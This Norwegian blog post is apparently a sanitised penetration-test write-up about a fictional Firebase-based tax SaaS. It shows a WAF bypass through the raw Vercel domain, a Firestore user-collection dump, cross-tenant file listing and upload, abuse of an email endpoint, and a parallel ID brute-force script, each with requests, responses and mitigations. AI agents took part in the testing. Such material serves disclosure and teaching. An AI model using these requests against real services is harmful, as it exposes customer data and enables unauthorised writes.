# Firebase-gulvet ga etter — når tenantsitteren bor i én samling
URL: https://erik.no/blogg/2026-08-30-firebase-dump-og-cross-tenant-filskrift-i-en-sky-saas
Publisert: 2026-08-30 | Tags: pentest, firebase, firestore, cloud-run, api-security, multi-tenant, ai, security
> Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no.
> Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke
> behandle dem som ekte virksomheter eller personer. Innholdet er autorisert,
> sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke
> gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt
**FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Denne gangen var målet ikke å knekke inn — det var å bevise hva man _kunne_ gjøre
etter å ha kommet inn. Skattebureauet Fjordlys AS (`fjordlysas.no`) kjører en
krypto- og skatteberegningstjeneste bygget på Firebase Auth, Firestore, en
Next.js-app på Vercel og en FastAPI-backend på Google Cloud Run. Alt av
klassisk, moderne sky. Og den moderne stacken leverte to av de mer interessante
funnene jeg har hatt denne sesongen: en Firestore-samling som lot seg dumpe
rett ut, og et dokument-API som godtok hvem som helst med et gyldig token —
for hvilken som helst kunde.
Dette er en lang skriveprosess. Det er ikke fordi selve angrepet var spesielt
avansert, men fordi hvert funn fortjener å bli fulgt _helt_ ut: forutsetningene,
den eksakte forespørselen, den rå responsen, den negative kontrollen, og
mitigeringen. Jeg tror det er der verdien ligger — ikke i lister av alarmer,
men i kjeden som beviser hver av dem.
## Kontekst
SoW-en ba om tre ting: eskalering til systemadministrator, uttrekk av
kundedata, og vurdering av backend-API-ene. Klienten, ved daglig leder Ola
Hansen (`ola.hansen@fjordlysas.no`), hadde uttrykkelig godkjent full-send og
aggressiv metode. Scope var frontenden på `www.fjordlysas.no`, et parallelt
Vercel-utviklerdomene, og et Cloud Run-API.
Jeg kjører denne typen oppdrag med AI i loopen: jeg starter med recon og
kaster en strøm av hypoteser mot målet, agentene går parallelt på endepunkter
og auth-flipper, og jeg tar vurderingene — som denne gangen ble flere og
vanskeligere enn jeg liker. Stacken er dessuten svært snakkende: med et
Firebase-basert produkt sitter hele datamodellen i praksis _i klienten_,
og buntene spytter ut alt du trenger for å kjøre mot samme backend som
appen selv gjør.
## Oppsett og vektløftingen før angrepet
Første time var ren kartlegging. AI-en kjørte subdomain-enumerasjon med
`subfinder` og `httpx`, og nuclei mot infrastrukturen:
```bash
nuclei -u https://www.fjordlysas.no -t cves/ -severity critical,high -rl 50
```
Nul treff mot 4 222 CVE-maler. Det er et funn i seg selv —
infrastrukturlaget var oppdatert. Men det viktigste var noe enklere:
det paralelle rå‑Vercel‑domenet (i denne teksten `raw-deploy.vercel.app`)
svarte uten WAF-bonnen Cloudflare setter opp foran hoveddomenet. Det ga meg
en trafikk-skanse for resten av oppdraget — ikke et funn i seg selv, men en
kondisjon som gjorde alt annet lettere.
Frontendbuntene lastet jeg ned og la i et lokalt arbeidsområde. Det er
vanlig praksis, men fortjener en nevnning fordi alt det _virkelige_ arbeidet
senere kom fra å lese dem ordentlig:
```bash
grep -ohR "/api/[a-z][a-z0-9/_-]*" bunten/ | sort -u > endpoints.txt
wc -l endpoints.txt # 164 endepunkter
```
164 API-ruter, ekstrahert fra Vite/Next.js-bunter med en AI-generert
`rg`-pipeline. Det er tjenestens hele API-overflate, plukket fra klienten
som en leser kunne gjort over en lunsj.
## Vekten av en trauskanse: WAF-bypass-ruten
Før selve funnene, en liten egen historie som gjorde hele oppdraget enklere —
og som er verdt å formidle fordi det er et mønster jeg ser gjentatte ganger
på Vercel-baserte produkter.
Hoveddomenet `www.fjordlysas.no` lå bak Cloudflare. Cloudflare setter en
`Vercel Security Checkpoint`-utfordring på bot-trafikk, og det gjør
skannere og automatiserte forespørsler tungvindt: man må verifisere seg,
cookies rullerer, og `nuclei`-sweeps blir tregere og støyere enn de trenger
å være. Det er tjenesten så vidt jeg forstår bevisst — men den har en blind
flekk: den rå Vercel-deploy-URL-en.
Hver Vercel-deploy kan nås direkte via `.vercel.app`, uten
Cloudflare foran. DNS-en peker mot Vercel, men ingenting hindrer en i å
snakke med Vercel-endepunktet direkte — med mindre prosjekteier har
konfigurert domain-verifisering som avviser trafikk som ikke kommer via
kundens eget domenenavn. Det hadde ikke blitt gjort her:
```bash
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
https://www.fjordlysas.no/api/health # 403 (Cloudflare challenge)
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
https://raw-deploy.vercel.app/api/health # 200 {"status":"ok"}
```
Samme app, samme backend, samme API — men én rute gjennom WAF-en og én
uten. Resten av oppdraget kjørte jeg mot Vercel-domenet med en standard
Chrome UA-streng (`Mozilla/5.0 Chrome/151.0.0.0`; en annen UA ga
`403` med Cloudflare-feilkode 1010 på enkelte ruter — verdt å notere
hvis du replikerer).
Det er ikke et sårbarthetsfunn i seg selv — appen er lik, og alt som
er tilgjengelig bak Vercel-URL-en er også tilgjengelig gjennom hoved
domenet for en ekte bruker. Men det er en _operasjonell_ svakhet:
WAF-en, som er en del av forsvarsoverflaten, kan omgås fullstendig,
og ratelimitregler som er konfigurert i Cloudflare gjelder kun
hoveddomenet. Jeg rapporterte det som en anbefaling
("lay Vercel-deploys bak Cloudflare i front, eller la Vercel avvise
Host-headere som ikke matcher kundens domene") snarere enn et funn,
fordi eksploitverdien er indirekte. .
## Oppsette probe-kontoen
Firebase API-nøkkelen sto i klartekst i hovedbunden (klassisk Firebase-mønster;
nøkkelen er ikke en hemmelighet, men den er nødvling for at REST-API-ene
skal virke). Med den registrerte jeg en prøvebruker via Googles identitytoolkit:
```http
POST /v1/accounts:signInWithPassword?key=
Host: identitytoolkit.googleapis.com
{"email":"pentest.probe@fjordlysas.no","password":"","returnSecureToken":true}
```
```json
{
"localId": "1111111111111111111111111111",
"idToken": "",
"refreshToken": "",
"expiresIn": "3600"
}
```
Verifiserte e-posten via `accounts:sendOobCode` mot en postkasse jeg kontrollerer.
Det er den tilstanden alt det videre forutsetter: **et gyldig Firebase JWT
for en alminnelig, nyregistrert kundebruker.** Ingen roller, ingen custom
claims — bare standardtokenet alle kunder går rundt med.
## Det jeg fant
Fire funn holdt seg til slutt. Tre av dem er egentlig én historie om
Firestore-regler og manglende tenant-filter i en backend, og den fjerde er
et postendepunkt som lar deg sende e-post fra firmaets eget domene.
### Funn 1: 974 brukerprofiler i klartekst
Firestore-sikkerhetsreglene for `users`-samlingen tillot _lesing av hele
samlingen_ for enhver innlogget bruker. En enkel list-operasjon via
Firestore REST API med min egen Firebase-token returnerte paginert
brukerdata — 974 dokumenter i klartekst: e‑post, navn, kunde-ID-er
(`CUST-`-format), kontonumre, roller og opprettelsestidspunkter.
```http
GET /v1/projects/fjordlys-frontend/databases/(default)/documents/users?pageSize=5
Host: firestore.googleapis.com
Authorization: Bearer
```
```json
{
"documents": [
{
"name": "projects/fjordlys-frontend/databases/(default)/documents/users/1111...",
"fields": {
"email": {"stringValue": "kari.nordmann@fjordlysas.no"},
"customer_id": {"stringValue": "CUST-1765897468504"},
"role": {"stringValue": "company_admin"},
"approved": {"booleanValue": true}
}
}
],
"nextPageToken": ""
}
```
Det er ikke teknisk komplisert — det er bare en regel som glemte at
`list` og `get` er to ulike operasjoner. Jeg fikk AI-en til å skrive et
lite paginerings-script som dumpet hele samlingen; det tok under tre minutter.
.
Dette er det klassiske Firebase-feilgrepet: sikkerhetsregler skrives for
"kan lese _sitt eget_ dokument", men `list`-operasjonen arver ikke
`get`-regelen automatisk. En regel som kun sjekker
`request.auth.uid == resource.id` blokkerer _lesing av andres dokumenter_
— men _listingen_ av hele samlingen må avslås separat, og det ble den ikke.
### Funn 2: Cross-tenant filmetadata via dokument-API-et
FastAPI-backend på Cloud Run eksponerte `/openapi.json` åpent. Elleve
endepunkter, og to av dem tok en `customer_id`-parameter:
```http
GET /api/documents?customer_id=0592-5351-8860-8859
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer
```
Responsen var filmetadata for en kunde jeg aldri hadde hørt om — filnavn,
GCS-sti, filstørrelse, opplastingstidspunkt og behandlingsstatus, for
_multiple platformer_ (kryptobørser, tradingsplattformer). Det er
kundemappestrukturen i et sky-lagringsbøtte, hentet ut med min
alminnelige kundebrukers token.
```json
{
"files": [
{
"name": "20251218_212910_transactions.xlsx",
"path": "0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx",
"size": 76475,
"customerId": "0592-5351-8860-8859",
"platformId": "coinbase"
}
]
}
```
Negativ kontroll først: med et _ukjent_ kunde-ID returnerte samme endepunkt
`200` med en tom liste — ikke `403`, ikke `404`. Det er ikke noe som beviser
lekkasje i seg selv, det beviser bare at endepunktet ikke avgrenser på
eierskap. PoC-en under viser begge sider.
.
### Funn 3: Cross-tenant filskriving
Samme endepunktfamilie hadde en upload-rute som tok multipart-form med
`customer_id` og fil:
```bash
curl -X POST https://api.fjordlys-internal.europe-west1.run.app/api/documents/upload \
-H "Authorization: Bearer " \
-F "customer_id=0592-5351-8860-8859" \
-F "platform_id=coinbase" \
-F "file=@/tmp/poc.csv"
```
```json
{
"id": "13b4e903-c7c1-4281-94ca-327798e39100",
"filename": "poc.csv",
"gcs_path": "gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"
}
```
Etterfulgt av en liste-operasjon som bekreftet at filen nå lå i
kundemappen, ved siden av kundens eksisterende transaksjonsfiler.
Det er skriving til en fremmed kundes datamappe, med et token som
ikke inneholder den kunden, og uten at noen autorisasjonssjekk
grep inn. .
### Funn 4: E-postutsending fra firmaets domene
`POST /api/send-email` på Next.js-serveren sendte en testmelding via firmaets
e-postleverandør, fra domenet `fjordlysas.no`. Rate-limit var 79 per dag, og
alle utsendelser ble auto-kopiert til en intern adresse (som betyr at mottakeren
_av_ kopien _ser_ at en test har gått — men selve utsendingen kom fra
den offisielle domenet, fra en vanlig kundebrukers token).
.
PoC-en for dette var enkel, men jeg vil vise den likevel — e-postutsending
er en av de funntypene der en enkelt respons forteller deg alt:
**Forutsetninger:** Firebase JWT fra probe-kontoen. Utsendingen ble kjørt
etter avtale i SoW, mot en postkasse jeg selv kontrollerer.
```http
POST /api/send-email HTTP/1.1
Host: raw-deploy.vercel.app
Authorization: Bearer
Content-Type: application/json
{"to":"mine-testmottakere@eksempel-no.no","subject":"PoC","body":"Test fra pentest-probe"}
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"ok":true,"remainingToday":78}
```
**Tolkning:** `200` pluss at meldingen faktisk ankom min testpostkasse,
med `From:` på `fjordlysas.no`, er beviset. Auto-kopien til den interne
adressen var synlig i mine headers — det er en implementasjonsdetalj
som kanskje var ment som en varslingsmekanisme, men den gjør også at
den som mottar meldingen _kan_ se at en test har gått. Det gir
sporbarhet, men hindrer ikke misbruk: en angriper kan sende meldinger
fra det offisielle domenet til hvem som helst, med et vanlig kunde
token, 79 ganger per dag.
En negativ kontroll her var å sende med manglende felter — den ga
en ryddig valideringsfeil, noe som viser at validering eksisterer
på skjema-nivå men ikke på autorisasjonsnivå:
```http
HTTP/1.1 400 Bad Request
{"message":"Mangler mottaker"}
```
**Mitigering:** Krav om admin-rolle eller minimum en eierskapssjekk
(kun send til _egen_ registrerte e-post, med tydelig
"systemmelding fra testmiljø"-markering). .
### Funn 5: Kundesekvens-sweepen som ikke ga treff — og hvorfor det var nyttig
En metodemessig sidegrein jeg regner som et delresultat. Jeg trengte
flere kunde-ID-er for å vise at Funn 2 var systematisk, ikke en
tilfeldighet. Kunde-ID-ene i Firestore-dumpen (`CUST-`-format)
matchet ikke formatet Cloud Run-API-et forventet
(`0592-5351-8860-8859`-format — fire blokker på fire siffer). Det er
tydeligvis to ulike identifikatorsystemer i samme tjeneste.
Jeg fikk en agent til å generere og teste ~1 500 ID-varianter mot
`/api/documents` med parallell utførelse:
```python
from concurrent.futures import ThreadPoolExecutor
def probe(cid):
req = urllib.request.Request(
f"{BASE}/api/documents?customer_id={cid}",
headers=UA, method="GET")
d = json.loads(urllib.request.urlopen(req, timeout=8).read())
return (cid, len(d)) if isinstance(d, list) and d else None
with ThreadPoolExecutor(20) as ex:
for hit in ex.map(probe, test_ids):
if hit:
print(hit)
```
Null treff på 1 500 forsøk. Det er en negativ kontroll av samme slag
som det jeg forventet å finne — den forteller at kunde-ID-ene ikke
er gjetbare i praksis, og at det reelle angrepet _ikke_ er
"brute-force deg til en kundefolder" men "vite én kunde-ID og lese
den". Jeg fikk vite én kunde-ID fra Firestore-dumpen (Funn 1), og
det var nok. De to funnene kobler seg altså til hverandre:
samlingenlekkasjen leverer _materiellet_ (kunde-ID-er), og
dokumentAPI-et leverer _lekkasjen_ (metadata + skriving).
Det er et godt eksempel på en teknikk jeg bruker bevisst: **en
negativ sweep som beviser at angrepsflaten er smal, er like verdifull
som en positiv som viser at den er bred.** Uten sweepen ville en
leser (eller klienten) kunne tro at cross-tenant-funnet bare var
et problem hvis man alt kjente til ID-en — det er ikke tilfelle.
## PoC / Reproduksjon
For Funn 2–3 kjører hele kjeden slik:
**Forutsetninger:** innlogget som nyregistrert kundebruker
(`poc@fjordlysas.no`, Firebase JWT i `token.txt`). Kundefolder
`0592-5351-8860-8859` tilhører en annen bruker — jeg har aldri hatt
tilgang til den, og fant ID-en i Firestore-dumpen fra Funn 1.
1. Registrer bruker og hent Firebase JWT:
```bash
curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=" \
-H "Content-Type: application/json" \
-d '{"email":"poc@fjordlysas.no","password":"","returnSecureToken":true}'
```
2. List fremmed kundes filer:
```http
GET /api/documents?customer_id=0592-5351-8860-8859 HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer
```
```http
HTTP/1.1 200 OK
Content-Type: application/json
[{"id":"c6978901-...","filename":"20251218_212910_transactions.xlsx",
"gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx"}]
```
3. Last opp en fil i samme mappe (bevis for skriving):
```http
POST /api/documents/upload HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer
Content-Type: multipart/form-data; boundary=...
--...
Content-Disposition: form-data; name="customer_id"
0592-5351-8860-8859
--...
Content-Disposition: form-data; name="file"; filename="poc.csv"
Content-Type: text/csv
test,data
--...--
```
```http
HTTP/1.1 200 OK
{"id":"13b4e903-...","gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"}
```
4. **Negativ kontroll** — prøv å list dokumenter for en kunde-ID som
_ikke finnes_ (tilfeldig generert):
```http
GET /api/documents?customer_id=1234-5678-9012-3456
Authorization: Bearer
```
```http
HTTP/1.1 200 OK
[]
```
**Tolkning:** tom liste — ikke `403` eller `404`. Endepunktet oppfører seg
likt for en kunde jeg eier, en jeg ikke gjør, og en som ikke finnes. Det er
det som gjør Funn 2–3 til et strukturelt problem og ikke en engangsfeil:
autorisasjonssjekken mangler, den er ikke bare feilkonfigurert for én kunde.
.
**Mitigering:** Cloud Run-endepunktet må validere at `customer_id`
svarer til en kunde som kallerens Firebase-bruker faktisk eier
(foreks. via `users/{uid}.customer_ids`), og returnere `404` ved avvik
for ikke å bekrefte eksistens:
```diff
@router.get("/documents")
-async def list_documents(customer_id: str, user=Depends(get_current_user)):
- return await storage.list_files(f"{customer_id}/")
+async def list_documents(customer_id: str, user=Depends(get_current_user)):
+ if customer_id not in user.customer_ids:
+ raise HTTPException(404)
+ return await storage.list_files(f"{customer_id}/")
```
Samme filter trengs på upload-ruten, og der bør opplastingen også
logges med hvem som lastet opp.
## Fire funn til — og hvorfor de ikke holdt
En god del av det jeg oppdaget underveis så ut som store funn, men ble
nedgradert etter verifisering. Det er like mye å lære av dem, og de forteller
noe om forskjellen mellom "plausible funn" og "kontrollerte primitiver"
som jeg prøver å holde strengt i mine rapporter.
### Administratorportalen jeg aldri kom inn i
JS-buntene viste hardkodede e-postadresser (typisk `admin@…`-mønster) som
klienten sjekket for å rendre en admin-dashboard. Så tiltalende — skriv
din egen e-post inn i brukerdokumentet, og klienten gir deg UI-en.
Men serveren validerte ikke klientens sjekk. Den validerte med
**Firebase custom claims** (`crmExternal: true`) — som settes kun via
Admin SDK og verifiseres serverside i JWT-en. Jeg skrev
`role: "sysadmin"` til mitt eget Firestore-dokument, oppdaterte
`crmExternal: true`, og testet hele admin-flaten igjen. Alle
admin-endepunktene fortsatte å svare `403`.
Negativ kontroll (i praksis): jeg verifiserte via `accounts:lookup`
at tokenet ikke inneholdt custom claims (`customAttributes: none`),
og bekreftet at det var JWT-en, ikke Firestore-dokumentet, som var
den server-side kilden til sannhet. Admin-laget holdt — rapporterte
det som en positiv vurdering, ikke et funn.
### Cloud Run-registreringen som ikke gav tilgang
Backend-API-et hadde et eget brukersystem med `/api/auth/register`
som aksepterte min registrering og returnerte et UUID-token. Så ble
samme token avvist av samme backend én fetch senere:
```http
GET /api/auth/me HTTP/1.1
Authorization: Bearer
HTTP/1.1 401 Unauthorized
{"detail": "Invalid authentication credentials"}
```
Mens Firebase JWT-er fungerer mot dokument-endepunktene på samme
backend. Det er et funn i seg selv — to autoriseringssystemer
som ikke er i samsvar — men ingen innbrudd, og det er verdt å nevne
som et varsel til klienten: to identitetslag som ikke er koordinert
er en kilder til fremtidige hull.
### External-upload-secret-en
Et uautentisert token-utvekslingsendepunkt (`/api/crm/external-upload/exchange`)
returnerte et Firebase custom token ved gyldig `customerId` + `secret`,
og det custom-tokenet inneholdt `crmExternal: true` — altså den samme
claim-en som admin-endepunktene sjekker. Det er en _riktig_ vei til
økt tilgang, hvis man kjenner en gyldig secret. Men secret-en viste
seg å være en UUID v4 (2^122 muligheter), og jeg fant ingen way å
enumerere den. Droppet brute-force, rapporterte mekanismen som et
risikomønster i stedet — særlig fordi alle kunder så ut til å mangle
provisionerte secrets, noe som betyr at angrepet i praksis er
teoretisk inntil noen aktiverer det.
### GCS-bøtten jeg kunne navngi, men ikke lese
Med Firebase JWT returnerte både XML- og JSON-API-et til Google
Cloud Storage `401 Invalid Credentials` — Googles storage-API
forventer OAuth-token, ikke Firebase-ID-token. Filinnholdet kunne
jeg ikke hente ut byte for byte uten en annen auth-vei; kun metadata
og skriving var tilgjengelig via backend-API-et. Jeg prøvde også
Firebase Storage API — der fikk jeg en annen feil, at bøtten ikke
var konfigurert for Firebase Storage, noe som antyder at tjenesten
bruker rå-GCS med tjenestekonto-nøkler på backend-siden (som forventet).
Det var en fordel for klienten: filinnholdet er ikke lesbar for
en alminnelig Firebase-bruker selv om metadataene er det.
## Verktøy og hvem som kjørte hva
- **Recon og subdomain-enumerasjon:** AI-agent med `subfinder` og
`httpx -silent -title`. Jeg satte scope-filen.
- **nuclei v3 (4 222 CVE-templates):** AI-kjør mot både hoveddomenet og
rå-Vercel-utpakkingen. Null treff — som var poenget: ingen kjente
CVE-er å bygge videre på.
- **Frontend-bunt-analyse:** Jeg lastet ned `index-*.js` og chunk-filer
manuelt; en AI-agent ekstraherte 164 API-ruter med `rg`-mønsteret over.
- **Firestore-dumpen:** AI-generert Python-script med `urllib`, paginert
mot Firestore REST API med min egen Firebase JWT. Jeg satte
ratelimit og verifiserte at jeg ikke skrev noe.
- **Upload-PoC:** Manuell `curl` fra min maskin, mot en kundefolder
avtalt i SoW. Filinnholdet var en to-linjers CSV med en teststreng.
- **Negativ kontroll:** Manuell — det er vurderingen som avgjør om
responsen beviser noe, og den vil jeg ikke delegere.
- **Brute-force av tenant- og kunde-ID-er:** AI-agent kjørte en
parallellisert `ThreadPoolExecutor`-sweep mot
`/api/documents?customer_id=X` med ~1 500 genererte ID-er. Null
treff — som var nyttig: det betydde at kunde-ID-ene ikke var
sekvensielle eller gjetbare, så fundet Funn 2 er ikke et
enumerasjonproblem i praksis, men et autorisasjonsproblem.
## Mitigering
Fire konkrete forslag, i prioritert rekkefølge:
1. **Firestore-regler:** endre regelverket slik at `users`-samlingen
tillater `get` på `request.auth.uid == resource.id`, men _ikke_
`list` for alminnelige brukere. Dette alene lukker 974-profil-lekkasjen.
.
2. **Tenant-filter på dokument-API-et:** legg til et predikat på både
`list` og `upload` som sjekker `customer_id` mot kallerens
`customer_ids`, og returner `404` ved avvik (ikke `403`).
.
3. **E-postutsending:**`/api/send-email` bør kreve admin-rollen eller
i det minste MFA-gated tilgang, ikke bare et gyldig Firebase-token.
.
4. **Generelt:** gjennomgå alle backend-endepunkter som tar en
kunde-ID-parameter. To av elleve i OpenAPI-spec-en manglet
eierskapssjekk — det er et mønster, ikke en tilfeldighet.
Etter Firestore-regelendringen skal en nyregistrert brukers
`list`-forsøk på `users`-samlingen svare `403 PERMISSION_DENIED`
— ikke bare en tom liste. Test det regressivt etter deploy.
## Hva jeg lærte
- **Firestore-regler feiler på `list`, ikke `get`.** Alle tester
av "kan jeg lese mitt eget dokument" passerer. Først når du _listar_
samlingen ser du at regelen bare dekker enkeltdokumenttilfelle.
- **Cross-tenant i fil-API-er ser ofte ut som "tom liste" i stedet
for `403`.** Den tomme responsen er lettere å overse, og den er
det som gjør bruddet systematisk.
- **Custom claims er ikke synlige i Firestore.** Jeg prøvde å eskalere
til sysadmin ved å skrive en rolle til mitt eget Firestore-dokument;
serveren ignorerte det fullstendig. Custom claims settes kun via
Admin SDK og verifiseres i JWT-en — den modellen holdt, og det er
verdt å si også.
- **En moderne Firebase-stack er utrolig informativ å angripe.**
Bunter, REST-endepunkter og autoriseringsregler er alle lesbare.
En produkteier som har et slikt oppsett bør teste _regler_ og
_endepunkter_ systematisk, ikke bare web-flaten.
- **AI-agenter produserer plausible funn fort — og plausible
feilgrep like fort.** Verdien ligger i verifiseringen. Jeg så
minst to funn denne runden som så "kategorisk gale" ut i en
agent-rapport, og som falt fra hverandre når jeg kjørte dem
manuelt med en negativ kontroll. Rapporten er langt kortere
enn agentenes funnlister, og det er med vilje.
## Veien videre
Funnene er rapportert og fikseansvarlig er varslet. Jeg jobber videre
med to tråder:
- Klientbuntanalysen er skalerbar — jeg jobber med et lite verktøy som
trekker ut API-ruter og Firestore-samlingnavn fra en produksjonsbunt
automatisk, slik at denne typen kartlegging kan kjøres i starten av
ethvert Firebase-basert oppdrag.
- For kunder med Firebase-stack: en liten sjekkliste ("kan en nybruker
`list`-e min `users`-samlingen? har hvert endepunkt med en
kunde-ID-parameter en eierskapssjekk?") som jeg regner med blir
en fast del av mine oppdrag fremover.
Dessuten: custom-claims-modellen som holdt her er verdt en egen
artikkel. Det er den eneste autoriseringsmekanismen jeg møtte i
dette oppdraget som jeg _ikke_ kom forbi, og grunnen er verdt å
skrive ut eksplisitt.